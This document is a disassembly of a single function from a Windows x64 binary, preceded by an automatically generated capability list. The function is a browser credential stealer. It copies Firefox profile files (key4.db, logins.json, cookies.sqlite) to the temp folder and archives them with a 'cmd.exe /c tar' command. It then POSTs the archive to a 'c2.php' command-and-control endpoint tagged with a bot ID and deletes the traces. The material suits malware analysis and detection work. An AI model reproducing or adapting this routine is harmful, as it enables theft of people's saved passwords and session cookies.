Function at 0x1400069a0
Capabilities:
Check if file exists
Copy file
Create directory
Delete file
Get file attributes
Get file size
Query environment variable
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x2c8
mov r14, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r9, qword [0x14000d488]
mov edx, 8
mov rcx, rax
mov qword [rsp + 0x60], rax
mov r8d, 0x208
mov rdi, rax
call r9
mov r9, qword [0x14000d488]
mov edx, 8
mov r8d, 0x208
mov qword [rsp + 0x48], rax
mov rcx, rdi
call r9
mov r9, qword [0x14000d488]
mov edx, 8
mov r8d, 0x208
mov rcx, rdi
mov r13, rax
call r9
mov r9, qword [0x14000d488]
mov edx, 8
mov r8d, 0x30c
mov qword [rsp + 0x50], rax
mov rcx, rdi
mov rbp, rax
call r9
mov r9, qword [0x14000d488]
mov edx, 8
mov r8d, 0x30c
mov rcx, rdi
mov r15, rax
call r9
mov r9, qword [0x14000d488]
mov edx, 8
mov r8d, 0x30c
mov qword [rsp + 0x68], rax
mov rcx, rdi
call r9
mov r9, qword [0x14000d488]
mov edx, 8
mov r8d, 0x30c
mov qword [rsp + 0x328], rax
mov rcx, rdi
mov rbx, rax
call r9
mov r9, qword [0x14000d488]
mov edx, 8
mov r8d, 0x30c
mov rcx, rdi
mov r12, rax
call r9
mov rcx, rsi
mov qword [rsp + 0x40], rax
mov rdi, rax
call fcn.1400018c0
mov r8, qword [rsp + 0x48]
xor r9d, r9d
lea ecx, [r9 + 0x5c]
test r8, r8
je 0x140006b0e
test rax, rax
je 0x140006b0e
cmp r8, rax
je 0x140006b0e
movzx edx, word [rax]
mov rcx, r8
test dx, dx
je 0x140006b00
sub rax, r8
mov word [rcx], dx
add rcx, 2
movzx edx, word [rax + rcx]
test dx, dx
jne 0x140006af0
mov word [rcx], r9w
mov rax, r8
mov ecx, 0x5c
jmp 0x140006b16
mov rax, r8
test r8, r8
je 0x140006b54
cmp word [r8], r9w
je 0x140006b2a
nop dword [rax]
add rax, 2
cmp word [rax], r9w
jne 0x140006b20
lea rdx, [0x14000b718]
sub rdx, rax
nop dword [rax]
nop dword [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140006b40
mov word [rax], r9w
mov rax, qword [0x14000d460]
lea rdx, [rsp + 0x70]
mov rcx, r8
call rax
mov qword [rsp + 0x58], rax
cmp rax, 0xffffffffffffffff
je 0x1400076c9
mov rsi, 0xffffffffffffffff
nop dword [rax + rax]
test byte [rsp + 0x70], 0x10
lea rcx, [rsp + 0x9c]
je 0x140006d05
lea rdx, [0x14000b724]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140007574
lea rdx, [0x14000b728]
lea rcx, [rsp + 0x9c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140007574
mov rcx, qword [rsp + 0x310]
call fcn.1400018c0
test r13, r13
je 0x140006c0c
test rax, rax
je 0x140006c0c
cmp r13, rax
je 0x140006c0c
movzx edx, word [rax]
mov rcx, r13
test dx, dx
je 0x140006c00
sub rax, r13
nop
mov word [rcx], dx
add rcx, 2
movzx edx, word [rax + rcx]
test dx, dx
jne 0x140006bf0
xor r8d, r8d
mov rax, r13
mov word [rcx], r8w
jmp 0x140006c1b
mov rax, r13
test r13, r13
je 0x140006ca4
xor r8d, r8d
cmp word [r13], 0
je 0x140006c2d
add rax, 2
cmp word [rax], 0
jne 0x140006c23
lea rdx, [0x14000b730]
mov ecx, 0x5c
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140006c40
mov word [rax], r8w
mov rax, r13
cmp word [r13], cx
je 0x140006c6a
nop
add rax, 2
cmp word [rax], 0
jne 0x140006c60
movzx ecx, word [rsp + 0x9c]
test cx, cx
je 0x140006ca0
lea rdx, [rsp + 0x9c]
sub rdx, rax
nop dword [rax]
nop word [rax + rax]
mov word [rax], cx
add rax, 2
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140006c90
mov word [rax], r8w
inc rsi
cmp word [r13 + rsi*2], 0
jne 0x140006ca4
mov rdi, qword [0x14000d488]
lea rbx, [rsi*2 + 2]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call rdi
xor ecx, ecx
mov edx, ecx
test rsi, rsi
je 0x140006cf1
nop dword [rax + rax]
movzx ecx, byte [r13 + rdx*2]
mov byte [rdx + rax], cl
inc rdx
cmp rdx, rsi
jb 0x140006ce0
mov rdx, r14
mov byte [rax + rsi], 0
mov rcx, rax
call fcn.1400069a0
jmp 0x1400074d2
lea rdx, [0x14000ba10]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140006d33
lea rdx, [0x14000ba20]
lea rcx, [rsp + 0x9c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x1400074e6
mov r8d, 0x104
lea rcx, str.temp
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x1400076c9
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [0x14000b7f8]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r14
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140006d93
test al, 0x10
je 0x140006d93
mov rcx, r12
call fcn.140004b30
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rbp, qword [rsp + 0x310]
mov rcx, rbp
call fcn.1400018c0
test r15, r15
je 0x140006dec
test rax, rax
je 0x140006dec
cmp r15, rax
je 0x140006dec
movzx edx, word [rax]
mov rcx, r15
test dx, dx
je 0x140006de0
sub rax, r15
nop dword [rax + rax]
mov word [rcx], dx
add rcx, 2
movzx edx, word [rax + rcx]
test dx, dx
jne 0x140006dd0
xor r8d, r8d
mov rax, r15
mov word [rcx], r8w
jmp 0x140006dfb
mov rax, r15
test r15, r15
je 0x140006e74
xor r8d, r8d
cmp word [r15], 0
je 0x140006e0c
add rax, 2
cmp word [rax], 0
jne 0x140006e02
lea rdx, [0x14000b730]
mov ecx, 0x5c
sub rdx, rax
nop dword [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140006e20
mov word [rax], r8w
mov rax, r15
cmp word [r15], cx
je 0x140006e4a
nop dword [rax]
add rax, 2
cmp word [rax], 0
jne 0x140006e40
lea rdx, [0x14000ba10]
mov ecx, 0x6b
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x140006e60
mov word [rax], r8w
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [0x14000b7f8]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r14
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x14000b7f8]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.key4.db
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, r12
call fcn.1400018c0
mov rdx, rax
mov r8d, 1
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov rcx, rbp
call fcn.1400018c0
test r15, r15
je 0x140006f1c
test rax, rax
je 0x140006f1c
cmp r15, rax
je 0x140006f1c
movzx edx, word [rax]
mov rcx, r15
test dx, dx
je 0x140006f10
sub rax, r15
nop dword [rax + rax]
mov word [rcx], dx
add rcx, 2
movzx edx, word [rcx + rax]
test dx, dx
jne 0x140006f00
xor r8d, r8d
mov rax, r15
mov word [rcx], r8w
jmp 0x140006f2b
mov rax, r15
test r15, r15
je 0x140006fa4
xor r8d, r8d
cmp word [r15], 0
je 0x140006f3c
add rax, 2
cmp word [rax], 0
jne 0x140006f32
lea rdx, [0x14000b730]
mov ecx, 0x5c
sub rdx, rax
nop dword [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x140006f50
mov word [rax], r8w
mov rax, r15
cmp word [r15], cx
je 0x140006f7a
nop dword [rax]
add rax, 2
cmp word [rax], 0
jne 0x140006f70
lea rdx, [0x14000ba20]
mov ecx, 0x6c
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x140006f90
mov word [rax], r8w
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [0x14000b7f8]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r14
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x14000b7f8]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.logins.json
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, r12
call fcn.1400018c0
mov rdx, rax
mov r8d, 1
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov rcx, rbp
call fcn.1400018c0
test r15, r15
je 0x14000704a
test rax, rax
je 0x14000704a
cmp r15, rax
je 0x14000704a
movzx edx, word [rax]
mov rcx, r15
test dx, dx
je 0x140007040
sub rax, r15
nop dword [rax + rax]
mov word [rcx], dx
add rcx, 2
movzx edx, word [rcx + rax]
test dx, dx
jne 0x140007030
xor ebp, ebp
mov rax, r15
mov word [rcx], bp
jmp 0x140007054
xor ebp, ebp
mov rax, r15
test r15, r15
je 0x1400070d3
cmp word [r15], 0
je 0x14000706a
nop dword [rax + rax]
add rax, 2
cmp word [rax], 0
jne 0x140007060
lea rdx, [0x14000b730]
mov ecx, 0x5c
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140007080
mov word [rax], bp
mov rax, r15
cmp word [r15], cx
je 0x1400070aa
nop dword [rax]
add rax, 2
cmp word [rax], 0
jne 0x1400070a0
lea rdx, [0x14000ba50]
mov ecx, 0x63
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x1400070c0
mov word [rax], bp
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [0x14000b7f8]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r14
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x14000b7f8]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.cookies.sqlite
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, r12
call fcn.1400018c0
mov rdx, rax
mov r8d, 1
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CopyFileW]
movups xmm0, xmmword [str.cmd.exe__c__cd]
lea rcx, [rdi - 1]
movups xmmword [rdi], xmm0
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140007143
xor edx, edx
nop
movzx eax, byte [rbx + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140007150
lea rcx, [rdi - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140007163
movups xmm0, xmmword [str.__c:__tar__cf]
movups xmmword [rcx], xmm0
movzx eax, word [0x14000b888]
mov word [rcx + 0x10], ax
movzx eax, byte [0x14000b88a]
mov byte [rcx + 0x12], al
lea rcx, [rdi - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140007190
xor edx, edx
nop dword [rax]
movzx eax, byte [r14 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400071a0
lea rcx, [rdi - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1400071b4
mov eax, dword [str..tar]
mov dword [rcx], eax
movzx eax, word [0x14000b890]
mov word [rcx + 4], ax
lea rcx, [rdi - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1400071d5
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r14 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400071f0
lea rcx, [rdi - 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140007204
movzx eax, word [0x14000b894]
mov word [rcx], ax
mov rcx, rdi
call fcn.1400049d0
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [0x14000b7f8]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r14
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, r12
call fcn.140004b30
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [0x14000b7f8]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r14
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str..tar
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor r9d, r9d
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, r12
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x14000760d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rbx, qword [0x14000d488]
mov esi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, esi
mov edx, 8
mov rcx, rax
call rbx
mov rbp, rax
lea r9, [rsp + 0x320]
xor eax, eax
mov rdx, rbp
mov r8d, esi
mov qword [rsp + 0x20], rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [0x14000d488]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 8]
call rbx
mov rbx, qword [0x14000d488]
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, esi
mov edx, 8
mov rcx, rax
call rbx
mov qword [r14], rax
mov rcx, rax
mov dword [r14 + 8], esi
test rax, rax
je 0x140007380
test rbp, rbp
je 0x140007380
test esi, esi
je 0x140007380
sub rbp, rax
movzx eax, byte [rcx + rbp]
mov byte [rcx], al
lea rcx, [rcx + 1]
add esi, 0xffffffff
jne 0x140007371
mov rcx, qword [rsp + 0x318]
call fcn.1400018c0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r9, qword [0x14000d488]
mov edx, 8
mov rcx, rax
mov r8d, 0x208
mov rsi, rax
call r9
lea rdx, str._c2.php
mov rcx, rax
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str._actionsubmitbrowsergecko
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.botid
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, qword [0x14000d438]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x14000b780]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.browser_data_type
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x9c]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, qword [0x14000d018]
lea rdx, str.POST
mov r9, r14
mov r8, rbp
call fcn.140001ca0
mov rcx, rax
call fcn.140001dc0
mov r9, qword [0x14000d488]
mov edx, 8
mov rcx, rsi
mov rbx, rax
mov r8d, dword [rax + 8]
call r9
mov edx, dword [rbx + 8]
mov rdi, rax
mov r8, qword [rbx]
test rax, rax
je 0x1400074a0
test r8, r8
je 0x1400074a0
test edx, edx
je 0x1400074a0
mov rcx, rax
sub r8, rax
nop dword [rax + rax]
movzx eax, byte [rcx + r8]
mov byte [rcx], al
lea rcx, [rcx + 1]
add edx, 0xffffffff
jne 0x140007490
mov r8, rbp
xor edx, edx
mov rcx, rsi
call qword [0x14000d458]
mov r8, rdi
xor edx, edx
mov rcx, rsi
call qword [0x14000d458]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r14, qword [rsp + 0x318]
mov rbp, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x40]
mov rsi, 0xffffffffffffffff
mov rbx, qword [rsp + 0x328]
mov rcx, qword [rsp + 0x310]
call fcn.1400018c0
test rbp, rbp
je 0x14000752c
test rax, rax
je 0x14000752c
cmp rbp, rax
je 0x14000752c
movzx edx, word [rax]
mov rcx, rbp
test dx, dx
je 0x140007520
sub rax, rbp
mov word [rcx], dx
add rcx, 2
movzx edx, word [rax + rcx]
test dx, dx
jne 0x140007510
xor r8d, r8d
mov rax, rbp
mov word [rcx], r8w
jmp 0x140007537
mov rax, rbp
test rbp, rbp
je 0x140007574
xor r8d, r8d
cmp word [rbp], 0
je 0x14000754a
nop
add rax, 2
cmp word [rax], 0
jne 0x140007540
lea rdx, [0x14000b730]
mov ecx, 0x5c
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140007560
mov word [rax], r8w
mov rax, qword [0x14000d448]
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
call rax
test eax, eax
jne 0x140006b80
mov rsi, qword [rsp + 0x60]
xor edx, edx
mov r8, qword [rsp + 0x48]
mov rcx, rsi
call qword [0x14000d458]
mov r8, r13
xor edx, edx
mov rcx, rsi
call qword [0x14000d458]
mov r8, rbp
xor edx, edx
mov rcx, rsi
call qword [0x14000d458]
mov r8, r15
xor edx, edx
mov rcx, rsi
call qword [0x14000d458]
mov r8, qword [rsp + 0x68]
xor edx, edx
mov rcx, rsi
call qword [0x14000d458]
mov r8, rbx
xor edx, edx
mov rcx, rsi
call qword [0x14000d458]
mov r8, r12
xor edx, edx
mov rcx, rsi
call qword [0x14000d458]
mov r8, rdi
xor edx, edx
mov rcx, rsi
call qword [0x14000d458]
jmp 0x1400076c9
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x328]
mov qword [rsp + 0x20], rbp
mov rcx, rax
lea rdx, str.Faild_to_open_the_file
mov r8d, 0x17
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x328]
mov qword [rsp + 0x20], rbp
mov rcx, rax
lea rdx, str.FilePath__:
mov r8d, 0xc
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
inc rsi
cmp word [r15 + rsi*2], 0
jne 0x140007674
mov r8, rsi
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x328]
mov rdx, r15
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x328]
mov qword [rsp + 0x20], rbp
mov rcx, rax
lea rdx, [0x14000b714]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
add rsp, 0x2c8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret